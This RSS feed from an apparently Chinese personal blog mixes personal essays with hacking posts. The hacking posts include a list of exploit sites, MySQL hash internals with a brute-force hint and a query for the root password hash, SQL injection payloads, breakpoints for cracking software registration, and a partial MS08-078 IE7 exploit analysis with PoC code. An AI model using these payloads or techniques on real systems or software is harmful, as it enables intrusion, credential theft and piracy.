<?xml version="1.0" encoding="utf-8"?>

<rdf:RDF
  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
  xmlns:admin="http://webns.net/mvcb/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns="http://purl.org/rss/1.0/">

  <channel rdf:about="http://www.kyospace.com/">
    <title><![CDATA[KYO的地盘]]></title>
    <link><![CDATA[http://www.kyospace.com/]]></link>
    <description><![CDATA[心情日记+搜集的文章]]></description>
    <dc:language>zh-cn</dc:language>
    <dc:creator><![CDATA[KYO]]></dc:creator>
    <dc:date>2010-08-01T15:21:18Z</dc:date>
    <admin:generatorAgent rdf:resource="http://www.kyospace.com/" />
    <admin:errorReportsTo rdf:resource="http://www.kyospace.com/"/>
    <sy:updatePeriod>hourly</sy:updatePeriod>
    <sy:updateFrequency>1</sy:updateFrequency>
    <sy:updateBase>2000-01-01T12:00+00:00</sy:updateBase>
    <items>
      <rdf:Seq>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=346">
    <title><![CDATA[聊城]]></title>
    <description><![CDATA[一个技术问题演变成商务问题，紧接着又演变为政治问题，我无法理解中国的官场社会。

相对来说，我更喜欢与0和1打交道，人还是太复杂，我没有办法掌控对方的思维下一秒在想什么。所以对于不确定的事，我没有任何兴趣，也不想有任何兴趣。

聊城的温泉还是很不错的，...]]></description>
    <content:encoded><![CDATA[一个技术问题演变成商务问题，紧接着又演变为政治问题，我无法理解中国的官场社会。<br><br>相对来说，我更喜欢与0和1打交道，人还是太复杂，我没有办法掌控对方的思维下一秒在想什么。所以对于不确定的事，我没有任何兴趣，也不想有任何兴趣。<br><br>聊城的温泉还是很不错的，只是一个人的旅游能算是旅游吗？说它是为公事出差附带的附属品我倒没什么意见。<br><br>另外对于没有共同语言的人，我一般喜欢选择沉默。有时候为了避免所接触的人把&quot;不合群&quot;这个贬义词强加到我的头上，我曾经试图改变我自己，会附和着一些不着边或者连我自己都不知道的话，现在回头想想才发现这种做法很幼稚，幼稚的让我一个人独处时想起来还会觉得可笑。深思之后我会发现，在这个世界上我在意的人屈指可数，何必委屈自己附和那些不着边际的人呢？<br><br>古人云：无欲则刚。这四个字还是很有哲学道理的。<br> <br><br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=346]]></link>
    <dc:subject><![CDATA[KYO--随笔]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-04-21T23:16:04Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=345">
    <title><![CDATA[黑客网址记录]]></title>
    <description><![CDATA[0day发布网址Tags&gt;&gt;0day发布网址 
1 http://www.frsirt.com


1.http://www.exploit-db.com/

2 http://www.derkeiler.com
http://www.h4cky0u.org

3 http://www.security.nnov.ru/ http://securityvulns.com/

http://governmentsecurity.org/

4 ...]]></description>
    <content:encoded><![CDATA[0day发布网址Tags&gt;&gt;0day发布网址  <br>1 <a target='_blank' href='http://www.frsirt.com'>http://www.frsirt.com</a><br><br><br>1.<a target='_blank' href='http://www.exploit-db.com/'>http://www.exploit-db.com/</a><br><br>2 <a target='_blank' href='http://www.derkeiler.com'>http://www.derkeiler.com</a><br><a target='_blank' href='http://www.h4cky0u.org'>http://www.h4cky0u.org</a><br><br>3 <a target='_blank' href='http://www.security.nnov.ru/'><a target='_blank' href='http://www.security.nnov.ru/'>http://www.security.nnov.ru/</a></a>   <a target='_blank' href='http://securityvulns.com/'>http://securityvulns.com/</a><br><br><a target='_blank' href='http://governmentsecurity.org/'>http://governmentsecurity.org/</a><br><br>4 <a target='_blank' href='http://pforum.pccenter.com.tw/viewthread.php?tid=67&extra=page%3D1'>http://pforum.pccenter.com.tw/viewthread.php?tid=67&extra=page%3D1</a><br><br>5 <a target='_blank' href='http://www.swerat.com/forums/index.php?act=Login&CODE=01'>http://www.swerat.com/forums/index.php?act=Login&CODE=01</a><br><br>6 <a target='_blank' href='http://chasenet.org/'>http://chasenet.org/</a> <br><br>7 <a target='_blank' href='http://swerat.com/'>http://swerat.com/</a><br><a target='_blank' href='http://www.neoteam.com.br'>http://www.neoteam.com.br</a><br>我先来几个我认为比较好的<br><a target='_blank' href='http://packetstormsecurity.nl/'>http://packetstormsecurity.nl/</a><br><a target='_blank' href='http://hack.com.ru/'>http://hack.com.ru/</a><br><a target='_blank' href='http://www.hackcoza.tk/'>http://www.hackcoza.tk/</a><br><a target='_blank' href='http://www.web-hack.ru/'>http://www.web-hack.ru/</a><br><a target='_blank' href='http://www.securiteam.com/'>http://www.securiteam.com/</a><br><a target='_blank' href='http://www.security.nnov.ru/'>http://www.security.nnov.ru/</a><br><a target='_blank' href='http://www.hackerzhell.co.uk/indexmain.php'>http://www.hackerzhell.co.uk/indexmain.php</a><br><a target='_blank' href='http://hacktheb0x.tk/'>http://hacktheb0x.tk/</a><br><a target='_blank' href='http://neworder.box.sk/'>http://neworder.box.sk/</a><br><a target='_blank' href='http://www.k-otik.com/'>http://www.k-otik.com/</a><br><a target='_blank' href='http://www.security-corporati&#111;n.com/'>http://www.security-corporati&#111;n.com/</a><br><a target='_blank' href='http://www.securityfocus.com/'>http://www.securityfocus.com/</a><br><br>8 <a target='_blank' href='http://metasploit.blogspot.com/'>http://metasploit.blogspot.com/</a><br><br><br>9 <a target='_blank' href='http://www.godexp.org/'>http://www.godexp.org/</a><br><a target='_blank' href='http://www.milw0rm.com/'>http://www.milw0rm.com/</a><br><br>自己珍藏的0day漏洞发布网址<br><br>这些都是我珍藏的好的漏洞发布网址:<br>国外:<br><a target='_blank' href='http://www.frsirt.com/exploits/'>http://www.frsirt.com/exploits/</a><br><a target='_blank' href='http://es.wikipedia.org/wiki/Exploit'>http://es.wikipedia.org/wiki/Exploit</a><br><a target='_blank' href='http://www.securiteam.com/'>http://www.securiteam.com/</a>exploits<br>国内:<br><a target='_blank' href='http://www.z1z8.com/'>http://www.z1z8.com/</a><br><a target='_blank' href='http://forum.eviloctal.com/simple/index.php?f22.html'>http://forum.eviloctal.com/simple/index.php?f22.html</a> <br><br>//////////////////////////////////////////////////////////////////////////<br><br><br>国外安全 <a target='_blank' href='http://www.neohapsis.com/'>http://www.neohapsis.com/</a> 内容极为丰富<br>国外安全 <a target='_blank' href='http://www.deadly.org/'>http://www.deadly.org/</a> 大量关于OpenBSD的资料文档教程 <br>国外安全 <a target='_blank' href='http://www.guninski.com/'>http://www.guninski.com/</a> 安全专家Guninski的主页，有大量由系统漏洞 <br>国外安全 <a target='_blank' href='http://www.sysinternals.com'>http://www.sysinternals.com</a> 有很好的windows下的工具及源代码 <br>国外安全 <a target='_blank' href='http://www.securityflaw.com/bible/'>http://www.securityflaw.com/bible/</a> 入侵检测等文档整理较好的站点 <br>国外安全 <a target='_blank' href='http://www.secinf.net/'>http://www.secinf.net/</a> 网络安全方面的大量文档<br>国外安全 <a target='_blank' href='http://www.incident-resp&#111;nse.org'>http://www.incident-resp&#111;nse.org</a> 入侵反应，数据恢复工具等  <br>国外安全 <a target='_blank' href='http://www.securityfocus.com/'>http://www.securityfocus.com/</a> 安全资料整合最好的站 <br>国外安全 <a target='_blank' href='http://www.project.h&#111;neynet.org/'>http://www.project.h&#111;neynet.org/</a> 由安全界一帮牛人组织的一个<br><br>国外安全 <a target='_blank' href='http://www.packetstormsecurity.com'>http://www.packetstormsecurity.com</a> 资料全面的安全站<br><br>国外安全 <a target='_blank' href='http://www.securityportal.com/'>http://www.securityportal.com/</a> 还可以看看的安全站<br><br>国外安全 <a target='_blank' href='http://www.ussrback.com/'>http://www.ussrback.com/</a> 比较活跃的安全站 <br>国外安全 <a target='_blank' href='http://www.attriti&#111;n.org/'>http://www.attriti&#111;n.org/</a> 内容全面的安全站<br>国外安全 <a target='_blank' href='http://www.wiretrip.net/rfp/2/index.asp'>http://www.wiretrip.net/rfp/2/index.asp</a> rfp的安全主页，提供权威的安全信息<br><br>国外安全 <a target='_blank' href='http://www.anti&#111;nline.com/'>http://www.anti&#111;nline.com/</a> 有些特色栏目的安全站 <br>国外安全 <a target='_blank' href='http://www.eeye.com/'>http://www.eeye.com/</a> eeye公司的主页，提供权威性的安全建议和工具<br>国外安全 <a target='_blank' href='http://www.insecure.org/'>http://www.insecure.org/</a> Fyodor的主页，nmap的老家，还有exploit <br>国外安全 <a target='_blank' href='http://www.atstake.com/'>http://www.atstake.com/</a> @stack公司的主页，提供权威的安全建议 <br>国外安全 <a target='_blank' href='http://www.bugnet.com/'>http://www.bugnet.com/</a> 提供漏洞修补 国外黑客 <a target='_blank' href='http://lsd-pl.net/'>http://lsd-pl.net/</a> LsD的站,最新最有效的exploit  <br>国外黑客 <a target='_blank' href='http://www.s0ftpj.org'>http://www.s0ftpj.org</a> 提供一些水平很高的小工具 }\]{f6&#39;  <br>国外黑客 <a target='_blank' href='http://phrack.org/'>http://phrack.org/</a> Phrack的主页，经典的黑客技术电子杂志 <br>国外黑客 <a target='_blank' href='http://www.w00w00.org/'>http://www.w00w00.org/</a> w00w00组织的主页 <br>国外黑客 <a target='_blank' href='http://mixter.void.ru/'>http://mixter.void.ru/</a> Mixter的个人主页，不少有用的工具 <br>国外黑客 <a target='_blank' href='http://www.thehackerschoice.com/'>http://www.thehackerschoice.com/</a> THC黑客组织的页面，很好的安全文档和工具<br>国外黑客<a target='_blank' href='http://'>http://</a> www.win2000mag.net Windows & .NET Magazine Network 绝对专业的站点,文章都是一流的 <br><br>国外黑客 <a target='_blank' href='http://www.2600.com/'>http://www.2600.com/</a> 2600 Magazine <br>国外黑客 <a target='_blank' href='http://www.experts-exchange.com'>http://www.experts-exchange.com</a> 全球有名的社区 <br>国外黑客 <a target='_blank' href='http://www.is-it-true.org'>http://www.is-it-true.org</a> 类似于FAQ的站点，资源丰富<br>国外黑客 <a target='_blank' href='http://www.mixter.warrior2k.com'>http://www.mixter.warrior2k.com</a> mixter security <br>国外黑客 <a target='_blank' href='http://www.liun.hektik.org'>http://www.liun.hektik.org</a> Long Island our Underground Networks <br>国外黑客 <a target='_blank' href='http://www.ussrback.com'>http://www.ussrback.com</a> ussr is back <br>国外黑客 <a target='_blank' href='http://www.securiteam.com'>http://www.securiteam.com</a> 非常好的安全文章漏洞利用工具下载站点 <br>国外黑客 <a target='_blank' href='http://www.lsd-pl.net'>http://www.lsd-pl.net</a> The Last Stage of Delirium Research Group <br>国外黑客 <a target='_blank' href='http://www.'>http://www.</a> neworder.box.sk Box Network team<br>国外黑客 <a target='_blank' href='http://www.'>http://www.</a>sysinternals.com sysinternals <br>国外黑客 <a target='_blank' href='http://www.'>http://www.</a>webattack.com<br>国外黑客 <a target='_blank' href='http://www.'>http://www.</a>blackhat.com Black Hat, Inc A64bZ<br>国外黑客 <a target='_blank' href='http://p.ulh.as'>http://p.ulh.as</a> pulhas <br>国外常用网站站点 <a target='_blank' href='http://www.google.com'>http://www.google.com</a> 最好的页面搜索引擎 <br><br>国外常用网站站点 <a target='_blank' href='http://www.netcraft.com'>http://www.netcraft.com</a> 很好的域名搜索引擎<br><br>国外常用网站站点 <a target='_blank' href='http://www.checkdomain.com'>http://www.checkdomain.com</a> 域名信息检索器<br><br>国外常用网站站点 <a target='_blank' href='http://astalavista.box.sk'>http://astalavista.box.sk</a> 最好的注册码、注册机、序列号搜索引擎<br><br>收藏~<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=345]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-04-16T09:14:19Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=343">
    <title><![CDATA[然后]]></title>
    <description><![CDATA[不知从什么时候起，我注意到现在越来越多的人说话已经离不开“然后”这个词了。特别是现实生活中人与人之间对话中的只言片语很容易体现出这一点。为了对抗这个无聊的世界，我也是没事找事做，思考了这一现象的原因。

 我觉得这一现象归根结底就是人们语言表达能力退化...]]></description>
    <content:encoded><![CDATA[不知从什么时候起，我注意到现在越来越多的人说话已经离不开&quot;然后&quot;这个词了。特别是现实生活中人与人之间对话中的只言片语很容易体现出这一点。为了对抗这个无聊的世界，我也是没事找事做，思考了这一现象的原因。<br><br>        我觉得这一现象归根结底就是人们语言表达能力退化的一个标志。大多数人不能在短时间内思考到前一句话与后一句话之间的存在的某种联系，一时又想不出较为合适的词语来衔接，只能用拙劣的&quot;然后&quot;来代替。并且我发现&quot;然后&quot;这个词其实是万能的，不论是因果关系、转折关系、前言不搭后语关系，使用它后倒显得挺自然的。再一点，两个人在对话时，一方为了不凸显自己吞吞吐吐的尴尬，&quot;然后&quot;一词一出就可以为自己赢得5秒钟思考时间来准备下一句的内容，甚至故意把它拖得很长，以便可以理直气壮的思考一大会儿。<br><br>也许还有下面一个原因，是我从百度搜出来的结果：<br><br>&quot;就是因为大家看了太多台湾电视电影才传过来的啊，呵呵。&quot;<br><br>        其实我亦是一样的。在这个信息化的时代，计算机所带来的优点当然是数不胜数，可是它却让人们之间的交流变得越来越少，亲人与亲人之间、朋友与朋友之间、同学与同学之间，言语上的都变得淡漠。<br>//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////<br><br>       全民种菜，然后凸显全民无聊，然后中国人大多数其实都很无聊，然后我发现北京人大多数都喜欢说自己多牛逼、谁谁谁多牛逼，然后我觉得谁都不牛逼，然后我心中的神已死，然后我觉得其实只有死了的人才牛逼。<br>//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=343]]></link>
    <dc:subject><![CDATA[KYO--随笔]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-03-30T10:35:04Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=342">
    <title><![CDATA[mysql 口令算法]]></title>
    <description><![CDATA[唠一唠mysql的口令算法

Author: kyo327
email: humour327#hotmail.com
Date: 2010-03-10

大家都知道mysql口令的加密分两种。一种是古董级别的mysql323加密，另一种是蒙骗了大众的的mysql sha1加密。
虽然现在遇到这样的加密可以用cain来破解，按说我不用在这里...]]></description>
    <content:encoded><![CDATA[唠一唠mysql的口令算法<br><br>Author: kyo327<br>email: humour327#hotmail.com<br>Date: 2010-03-10<br><br>大家都知道mysql口令的加密分两种。一种是古董级别的mysql323加密，另一种是蒙骗了大众的的mysql sha1加密。<br>虽然现在遇到这样的加密可以用cain来破解，按说我不用在这里多此一举，但本文不是为了破解而写，只是科普一下，让大家更清楚的了解mysql口令的加密方法到底是怎样的。<br><br>先说mysql4.1.x版本以后的：<br><br>mysql&gt; select password(&#39;kyo327&#39;);<br>+-------------------------------------------+<br>| password(&#39;kyo327&#39;)                        |<br>+-------------------------------------------+<br>| *B19CB640DF626A73397BFBBB8111D11E2BEC11F1 |<br>+-------------------------------------------+<br>1 row in set (0.02 sec)<br><br>mysql&gt; select sha1(&#39;kyo327&#39;);<br>+------------------------------------------+<br>| sha1(&#39;kyo327&#39;)                           |<br>+------------------------------------------+<br>| d81e2a1a72f5a4f570b0f05baaa0cffc5d2d6820 |<br>+------------------------------------------+<br>1 row in set (0.03 sec)<br><br><br>很明显不是标准的sha1加密。然而这个问题像是皇帝的新装一样，好像没有哪个人指出来，那我就在这里当一次无知的小孩吧。 再看下面<br><br>mysql&gt; select sha1(0xd81e2a1a72f5a4f570b0f05baaa0cffc5d2d6820);<br>+--------------------------------------------------+<br>| sha1(0xd81e2a1a72f5a4f570b0f05baaa0cffc5d2d6820) |<br>+--------------------------------------------------+<br>| b19cb640df626a73397bfbbb8111d11e2bec11f1         |<br>+--------------------------------------------------+<br>1 row in set (0.00 sec)<br><br>我想无需用过多言语，大家应该都很清楚mysql4.1.x以后版本的加密方式了吧。<br><br><br>接下来说一说mysql323加密。 <br><br>这个我是直接从mysql源代码里抠出来的。代码如下：<br><br><br>#include &quot;stdio.h&quot;<br>#include &lt;string.h&gt;<br><br>void hash_password(long *result, const char *password, int password_len)<br>{<br>register long nr=1345345333L, add=7, nr2=0x12345671L;<br>long tmp;<br>const char *password_end= password + password_len;<br>for (; password &lt; password_end; password++)<br>{<br>if (*password == &#39; &#39; || *password == &#39;\t&#39;)<br>continue; /* skip space in password */<br>tmp= (long) (char) *password;<br>nr^= (((nr & 63)+add)*tmp)+ (nr &lt;&lt; 8);<br>nr2+=(nr2 &lt;&lt; 8) ^ nr;<br>add+=tmp;<br>}<br>result[0]=nr & (((long) 1L &lt;&lt; 31) -1L); /* Don&#39;t use sign bit (str2int) */;<br>result[1]=nr2 & (((long) 1L &lt;&lt; 31) -1L);<br>}<br><br>int main(int argc, char* argv[])<br>{<br>const char *password=&quot;kyo&quot;;<br>long hash_res[2];<br>hash_password(hash_res, password, (int) strlen(password));<br>printf(&quot;%08lx%08lx\n&quot;, hash_res[0], hash_res[1]);<br>return 0;<br>}<br><br><br>运行后<br>7901b47128d1045d<br>-----------------------------------------------------------------------------------<br>mysql&gt; select old_password(&#39;kyo&#39;);<br>+---------------------+<br>| old_password(&#39;kyo&#39;) |<br>+---------------------+<br>| 7901b47128d1045d |<br>+---------------------+<br>1 row in set (0.00 sec)<br>-----------------------------------------------------------------------------------<br><br><br>over。<br>想做mysql密码爆力破解工具的，根据本文应该很容易写出来了。<br>------------------------------------------------------------------------------------------------------<br><br>mysql&gt; use mysql;<br>Database changed<br>mysql&gt; select password from user where user=&#39;root&#39;;<br><br>///////////////////////////////////////////////////////////////////////////////////////////<br>select password from mysql.user where user=&#39;root&#39;;<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=342]]></link>
    <dc:subject><![CDATA[KYO--随笔]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-03-09T16:35:09Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=341">
    <title><![CDATA[tips 条件断点]]></title>
    <description><![CDATA[在mysql中。
mysql&gt; sel&#101;ct * from z_admin wh&#101;re admin='admi\'';
Empty set (0.00 sec)
mysql&gt; sel&#101;ct * from z_admin wh&#101;re admin='admi\';
 '&gt; ';
Empty set (0.02 sec)

可以看到 这个语句是没法执行的。
sel&#101;ct * from...]]></description>
    <content:encoded><![CDATA[在mysql中。<br>mysql&gt; select * from z_admin where admin=&#39;admi\&#39;&#39;;<br>Empty set (0.00 sec)<br>mysql&gt; select * from z_admin where admin=&#39;admi\&#39;;<br>    &#39;&gt; &#39;;<br>Empty set (0.02 sec)<br><br>可以看到 这个语句是没法执行的。<br>select * from z_admin where admin=&#39;admi\&#39;<br>应该是把\&#39;解释成字符串中的单引号了，那么就缺少闭合的单引号。<br>----------------------不华丽的分割线-------------------------------------<br>而在mssql中。<br>select * from backupfile where filegroup_name=&#39;de\&#39;&#39;<br>会出现这种情况。<br>服务器: 消息 105，级别 15，状态 1，行 1<br>字符串 &#39;de\&#39;<br>&#39; 之前有未闭合的引号。<br>服务器: 消息 170，级别 15，状态 1，行 1<br>第 1 行: &#39;de\&#39;<br>&#39; 附近有语法错误。<br><br>select * from backupfile where filegroup_name=&#39;de\&#39;<br>语句这样的话能顺利执行。<br>这说明 mssql是只鸳鸯啊，只要不是成对出现  就不让你执行，和mysql刚好相反。<br><br>有什么用呢？？？？<br>我说一种，其他的自己琢磨。<br>在php+mssql的环境下 当magic_quotes_gpc==on时，不用管他。<br>开启错误提示的话 fuck.php?a=aaaaa&#39; and @@version=0--  <br>and后面随便跟什么语句慢慢来爆<br><br>没开错误提示的话。直接fuck.php?a=aaaaa&#39; union select 1,2,3--  慢慢猜吧<br><br><br>////////////////////////////////////////////////////<br>下注册表函数的断点。<br>在RegQueryValueExA处下条件断点：[esp+8]==&quot;ProgData&quot;&&[esp+14]!=0<br>在RegOpenKeyExA处下条件断点：[esp+8]==&quot;Software\\EUsoft\\superdic&quot;<br><br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=341]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-03-04T15:15:26Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=340">
    <title><![CDATA[唠一唠加密与解密]]></title>
    <description><![CDATA[Author: kyo327
email: humour327#hotmail.com
Date: 2010-03-03

我认为加密与解密就是高级智慧生物一种脑力活动方式，也是区别于其他动物最明显的标志之一。几千年以前凯撒曾经使用一种加密方法用于传递战争中的信息，其实这段历史足以说明加密解密是人类智慧的结...]]></description>
    <content:encoded><![CDATA[Author: kyo327<br>email:   humour327#hotmail.com<br>Date: 2010-03-03<br><br>我认为加密与解密就是高级智慧生物一种脑力活动方式，也是区别于其他动物最明显的标志之一。几千年以前凯撒曾经使用一种加密方法用于传递战争中的信息，其实这段历史足以说明加密解密是人类智慧的结晶。在冷兵器时代打仗不就是两军交战，多者胜吗？但是信息加密的出现打破了这种常规，在测探军机要情后总要经过信息的传递，而那种加了密的信息即便被对方截获也看不出东南西北来，这样在知己又知彼的情况下再熟练的运用三十六计很容易就能以少胜多了。可见信息加密的重要性。<br><br>       计算机的面世凸现了人类喜欢利用加密与解密庸人自扰的现实。很早的时候软件程序根本没有壳的概念，因为没有很多人看的懂那些二进制代码，所以程序作者可以用最简单的直接比较的认证方式来阻挡没有付费的使用者。随着学习计算机的人越来越多，无聊的人就编出了反汇编器，这样二进制代码被转换成了汇编指令，人们理解程序流程就方便多了。眼看程序开发者辛辛苦苦开发的软件被人们轻易的破解，于是壳出现了，越来越多的加密算法也出现了。而破解者也不甘心，有加密就有解密，不然算法的设计者也无法解出答案。而最无辜的用户始终是受害者，他们想要的仅仅是程序的应用，却不得不运行程序之外为了阻挡破解者的壳、VM、成千上万行的垃圾代码，软件的运行速度竟然要卡十几秒钟才能启动。用户也许很疑惑，现在电脑的硬件CPU都是4核的，内存4G还是双通道的，可为什么还不如win98时代在64M内存的机器上的运行速度呢？其实用户每运行一次加了VM的软件，还要连带的安装并运行一个带解释器的虚拟机，那速度能快得起来才真是奇迹呢。也许很多人认为那些设计VM的作者的脑袋应该是被驴踢了，其实我觉得也是。但我们应该知道，这可能也不是他们的意愿，是被那些无聊的破解者给逼出来的。而用户都成了设计开发者与破解者智慧斗争中的牺牲品。<br><br>       其实网络安全的世界也是一样的，如果没有黑客，程序开发者闲的蛋疼才去过滤那些乱七八糟的特殊字符呢，他们巴不得把应用设计好了就利用空余时间偷偷菜呢。而利用WEB赚钱的企业所部署的防火墙、招聘的网络安全工程师、购买的漏洞扫描软件等等所花费的RMB不会是从天上掉下来的，羊毛出在羊身上，吃亏的还是无辜的用户。因此用户又一次成了程序员与黑客智慧斗争的牺牲品。<br><br>   也许在我为所不知的很多领域，用户应该也是所有无聊者与对抗无聊者之间斗争的牺牲品。<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=340]]></link>
    <dc:subject><![CDATA[KYO--随笔]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-03-03T14:06:13Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=338">
    <title><![CDATA[(转)How to Bypass DEP+ASLR+SEHOP]]></title>
    <description><![CDATA[昨天去SSCON2009听TK讲了一个议题“安全漏洞的下一个十年”，佩服TK的演讲的幽默风趣，MS一个

非常具有忽悠的议题讲的很生动，精彩，再次膜拜下，我个人觉得里面最精彩部分就在如下了，呵呵，

通过MS08-078这个去年的IE7的漏洞来介绍如何绕过windows现有的安全保护...]]></description>
    <content:encoded><![CDATA[昨天去SSCON2009听TK讲了一个议题&quot;安全漏洞的下一个十年&quot;，佩服TK的演讲的幽默风趣，MS一个<br><br>非常具有忽悠的议题讲的很生动，精彩，再次膜拜下，我个人觉得里面最精彩部分就在如下了，呵呵，<br><br>通过MS08-078这个去年的IE7的漏洞来介绍如何绕过windows现有的安全保护机制，很是受启发，因为<br><br>TK只有一张PPT的介绍，我在此想展开介绍的更详细点，和大家分享一下TK的研究成果：），未经TK<br><br>的同意，在此还要感谢下TK:)<br><br>我去年分析过这个漏洞，现在让我们看看，到底是如果绕过windows现有的DEP,ALSR,SEHOP这些安全<br><br>保护机制的。<br><br>if(wxp||w2k3)document.write(<br>&#39;&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;<br>&lt;![CDATA[&lt;image SRC=http://&#11C8;&#2570;.book.com src=http://www.google.com]]&gt;<br>&lt;![CDATA[&gt;]]&gt;&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;<br>&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;<br>&lt;XML ID=I&gt;<br>&lt;/XML&gt;<br><br>漏洞细节就不介绍了，构造如此数据在这个Poc中<br><br>0x0a0a11c8<br><br>通过Heap spray在内存中填充0x7ffe027c这个值，为什么要填充如下值，下面会作介绍。<br><br><br>mshtml.dll CXfer::TransferFromSrc(void) <br>.text:461E3D18 public: long __thiscall CXfer::TransferFromSrc(void) proc near<br>.text:461E3D18                                         ; CODE XREF: CXfer::ColumnsChanged(ulong,ulong * const)+33 p<br>.text:461E3D18                                         ; CDataBindingEvents::TransferFromSrc(CElement *,long)+24 p ...<br>.text:461E3D18<br>.text:461E3D18 pvarg           = VARIANTARG ptr -18h<br>.text:461E3D18 var_8           = dword ptr -8<br>.text:461E3D18 var_4           = dword ptr -4<br>.text:461E3D18<br>.text:461E3D18                 mov     edi, edi<br>.text:461E3D1A                 push    ebp<br>.text:461E3D1B                 mov     ebp, esp<br>.text:461E3D1D                 sub     esp, 18h<br>.text:461E3D20                 push    ebx<br>.text:461E3D21                 push    esi<br>.text:461E3D22                 mov     esi, ecx<br>.text:461E3D24                 xor     ebx, ebx<br>.text:461E3D26                 test    byte ptr [esi+1Ch], 9<br>.text:461E3D2A                 jnz     loc_461E3E2E<br><br>.text:461E3D30                 mov     eax, [esi] //eax==0x0a0a11c8<br>.text:461E3D32                 cmp     eax, ebx<br>.text:461E3D34                 jz      loc_461E3E29<br>.text:461E3D3A                 cmp     [esi+4], ebx<br>.text:461E3D3D                 jz      loc_461E3E29<br>.text:461E3D43                 cmp     [esi+8], ebx<br>.text:461E3D46                 jz      loc_461E3E29<br>.text:461E3D4C                 mov     ecx, [eax] //[0x0a0a11c8]==0x7ffe027c<br>.text:461E3D4E                 push    edi<br>.text:461E3D4F                 push    eax //eax==0x0a0a11c8<br>.text:461E3D50                 call    dword ptr [ecx+84h] //call [0x7FFE027C+0x84], 换句话说就是call<br><br>[0x7ffe0300], 这是SharedUserData!SystemCallStub指针，这个指针里面存放着用户态进入内核态<br><br>ntdll!KiFastSystemCall函数的地址，也就是任何内核系统服务调用都会通过这个函数进入内核。<br><br>this call request for native API.// this call like call NtUserLockWorkStation for lock the windows:)<br><br><br>0:000&gt; dd SharedUserData!SystemCallStub<br>7ffe0300  7c828608 7c82860c 00000000 00000000<br>7ffe0310  00000000 00000000 00000000 00000000<br>7ffe0320  00d2c763 00000000 00000000 00000000<br>7ffe0330  71724108 00000000 00000000 00000000<br>7ffe0340  00000000 00000000 00000000 00000000<br>7ffe0350  00000000 00000000 00000000 00000000<br>7ffe0360  00000000 00000000 00000000 00000000<br>7ffe0370  00000000 00000000 00000000 00000000<br><br>0:000&gt; u 7c828608 <br>ntdll!KiFastSystemCall:<br>7c828608 8bd4            mov     edx,esp<br>7c82860a 0f34            sysenter<br>ntdll!KiFastSystemCallRet:<br><br><br>我们再看看这个0x11c8这个值构造的用意，先让我们看看锁屏函数NtUserLockWorkStation，也就是直接<br><br>调用这个函数就是会实现锁屏功能。<br><br>0:000&gt; u 773ddd0d <br>USER32!NtUserLockWorkStation:<br>773ddd0d b8c8110000      mov     eax,11C8h // <br>773ddd12 ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)<br>773ddd17 ff12            call    dword ptr [edx]<br>773ddd19 c3              ret<br><br>我们再看看这个ie7的漏洞的片断<br>.text:461E3D46                 jz      loc_461E3E29<br>.text:461E3D4C                 mov     ecx, [eax] //[0x0a0a11c8]==0x7ffe027c<br>.text:461E3D4E                 push    edi<br>.text:461E3D4F                 push    eax //eax==0x0a0a11c8//这里的实现是不是跟NtUserLockWorkStation很<br>相似<br>.text:461E3D50                 call    dword ptr [ecx+84h] //call [0x7FFE027C+0x84]<br><br>也许大家会问NtUserLockWorkStation的代码片断是mov eax,0x11c8，而上面的代码的eax是0x0a0a11c8，<br><br>事实在内核中处理过程，来通过传入的eax的值来判断是哪个服务调用，其实只用了低两个字节，所以<br><br>0x0a0a11c8可以忽略高两个字节，对服务调用结果不影响，所以完全可以当成是执行了锁屏操作。<br><br>结论：<br><br>1.通过Heap 